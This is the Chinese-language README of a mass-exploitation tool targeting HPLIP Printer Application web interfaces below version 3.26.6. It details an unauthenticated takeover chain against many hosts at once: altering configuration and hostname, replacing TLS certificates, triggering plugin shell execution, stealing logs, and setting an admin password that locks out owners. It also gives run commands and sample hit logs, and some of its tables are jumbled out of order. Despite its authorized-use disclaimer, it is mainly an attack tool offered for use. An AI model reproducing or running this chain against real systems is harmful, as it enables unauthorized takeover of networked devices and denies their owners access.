HPLIP < 3.26.6 — 通过 PAPPL Web 界面实现完全管理员接管(无需认证)。与 CVE-2026-91097 至 CVE-2026-91106 相关(CVSS 9.3)
针对 HPLIP 打印机应用程序(基于 PAPPL 的 Web 界面)的批量利用工具,影响所有 3.26.6 之前的 HPLIP 版本。该工具利用 PAPPL Web 界面的默认未认证状态执行完整的管理员接管链:配置篡改、主机名修改、TLS 证书替换、HP 插件安装(触发在目标上以 shell 执行 .run 文件)、系统日志窃取以及管理员密码锁定。
核心漏洞是 PAPPL 未认证管理访问 — HPLIP 打印机应用程序默认未配置密码,允许任何网络攻击者通过 Web 界面(通常为 8000 端口)在无需认证的情况下执行所有管理操作。
此外,插件安装链利用了以下已修复的弱点:
| CVE | CWE | CVSS 4.0 | 相关性 |
|---|---|---|---|
| CVE-2026-91097 | CWE-94 / CWE-787 | 7.0 | plugin.spec 中的路径遍历 — 本工具触发的插件安装会经过存在漏洞的 pluginhandler.py 代码 |
| CVE-2026-91102 | CWE-78 / CWE-494 | 8.4 | 无完整性校验的下载 — 插件 .run 文件通过 HTTP 下载并在目标上以 sh 执行 |
HP 安全公告:HPSBPI04151
目标发现
│
▼
检测 HPLIP 打印机应用程序(Server 头 + 版本)
│
▼
检查认证状态(/security)
│
├── 已设置密码 ──► 记录为 VULN(已锁定)
│
└── 无密码(默认)──► 利用链:
│
├── 1. 修改配置(/config)
│ dns_sd_name、location、organization、contact_name
│ 已验证:标记在响应中回显
│
├── 2. 更改主机名(/network)
│ 捕获旧主机名,设置新主机名
│ 已验证:新值在响应中回显
│
├── 3. 上传 TLS 证书(/tls-install-crt)
│ 自定义 PEM 证书 + 私钥
│ 多部分文件上传
│
├── 4. 安装 HP 插件(/plugin)
│ 步骤 1:POST action=install-plugin(下载 .run)
│ 步骤 2:POST action=license-accepted(以 sh 执行)
│ ⚠ CVE-2026-91097 + CVE-2026-91102
│
├── 5. 读取日志文件(/logfile.txt)
│ 系统路径、环境信息、Snap 路径
│
└── 6. 设置管理员密码(/security)
锁定后续未认证访问
完成完整管理员接管
pip install requests
需要 Python 3.8+。无其他依赖。
python T.py targets.txt 50
| 参数 | 描述 | 默认值 |
|---|---|---|
targets.txt | 包含目标列表的文件(每行一个) | 提示输入 |
50 | 并发线程数 | 15 |
python T.py
工具将提示输入目标列表文件和线程数。
192.168.1.100:8000
https://10.0.0.1:8000
http://printer.local:8000
192.168.1.100
printer.example.com
8000# 开头的行将被忽略AdminS.txthttp://192.168.1.100:8000 | v3.22.10 | password=Nx-zD_buovl6wko0 | server=HPLIP_Printer_Application/3.22.10-13 PAPPL/1.4.9 | panel=http://192.168.1.100:8000/ | security=http://192.168.1.100:8000/security | config=http://192.168.1.100:8000/config | ...
Nx_modify.txthttp://192.168.1.100:8000/config | v3.22.10 | type=CONFIG | verified=true | dns_sd_name: 'HPLIP Printer Application' -> 'HPLIP [marker]' | location: '' -> 'Nxploited-marker'
http://192.168.1.100:8000/network | v3.22.10 | type=HOSTNAME | verified=true | old=ORIGINAL-HOST.local | new=nx-abc123
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
██████ ██ ██ ██
██ ███ ██ ██ ██
██ ██████ ███
██ █████ ██ ██
██ ████ ██ ██
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
HPLIP 打印机应用程序 │ 管理员接管 + 完全控制
受影响 < 3.26.6 │ PAPPL 未认证访问
CVE-2026-91097 │ 插件路径遍历
CVE-2026-91102 │ 插件下载无完整性校验 + Shell 执行
通过 Web 利用: /security /config /network /plugin /tls-install-crt /logs
作者:Nxploited ( Khaled Alenazi ) │ Telegram: @Kxploit
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
targets=4 threads=4
00:11:34 [CUPS ] http://192.168.1.100:8000 Server: HPLIP_Printer_Application/3.22.10-13
00:11:34 [VER ] http://192.168.1.100:8000 v3.22.10 < 3.26.6 AFFECTED
00:11:35 [PROBE ] http://192.168.1.100:8000 v3.22.10 | NO AUTH | exploiting...
00:11:36 [CFG ] http://192.168.1.100:8000 CONFIG MODIFIED | marker=abc12345
00:11:37 [NET ] http://192.168.1.100:8000 HOSTNAME 'OLD-HOST.local' -> 'nx-xyz789'
00:11:38 [CERT ] http://192.168.1.100:8000 TLS CERT UPLOADED | marker=abc12345
00:12:03 [PLG ] http://192.168.1.100:8000 PLUGIN | freshly_installed | shell_exec=True
00:12:05 [LOG ] http://192.168.1.100:8000 logfile.txt | 19083B | env=/var/snap/hplip-printer-app/
00:12:05 [ADMIN ] http://192.168.1.100:8000 PASSWORD SET | pw=Nx-zD_buovl6wko0
00:12:05 [HIT ] http://192.168.1.100:8000 v3.22.10 + CONFIG + HOSTNAME + CERT + PLUGIN + LOGS + ADMIN
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
DONE 4/4 █ HIT=4 █ VULN=0 █ SAFE=0 █ SKIP=0
▐ 管理员接管: 4 └─ AdminS.txt
▐ 修改 : 8 └─ Nx_modify.txt
▐ 证书上传 : 4 └─ Nx_upload.txt
▐ 插件执行 : 1 └─ Nx_plugin.txt
▐ 侦察 / 信息: 8 └─ Nx_recon.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
| 标签 | 含义 |
|---|---|
HIT | 成功利用 — 已实现管理员接管 |
VULN |
/var/snap/hplip-printer-app/common/ 下sh plugin.run --keep --nox11,执行 HP 官方插件二进制文件 — 内容从 HP 服务器下载;攻击者无法控制插件内容,但会触发其执行作者:Nxploited
本工具严格仅供授权的安全研究、渗透测试和教育目的使用。在未获得系统所有者明确书面许可的情况下对系统使用本工具是非法且不道德的。作者对因使用本工具而导致的任何滥用、损害或法律后果不承担任何责任。在进行任何安全评估之前,请务必获得适当授权。使用本工具即表示您同意对自己的行为以及遵守所有适用法律法规承担全部责任。
| 端点 | 操作 | 已验证 |
|---|
/security | 设置管理员密码(账户接管) | ✅ |
/config | 修改 DNS-SD 名称、位置、组织、联系人 | ✅ |
/network | 更改系统主机名 | ✅ |
/tls-install-crt | 上传任意 TLS 证书 + 私钥 | ✅ |
/plugin | 触发 HP 插件下载 + 接受许可 + 安装(以 sh 执行 .run) | ✅ |
/logfile.txt | 读取完整应用程序日志文件(信息泄露) | ✅ |
| 文件 | 内容 |
|---|
AdminS.txt | 管理员接管 — 密码、服务器版本、完整面板 URL 映射 |
Nx_modify.txt | 已验证的配置和主机名更改(旧值 → 新值) |
Nx_upload.txt | TLS 证书上传确认 |
Nx_plugin.txt | HP 插件安装结果及 shell 执行状态 |
Nx_recon.txt | 信息泄露 — 日志文件大小、环境路径、版本 |
| 存在漏洞但已设置密码(已锁定) |
SAFE | 版本 ≥ 3.26.6(已修补) |
SKIP | 非 HPLIP 打印机应用程序或无法访问 |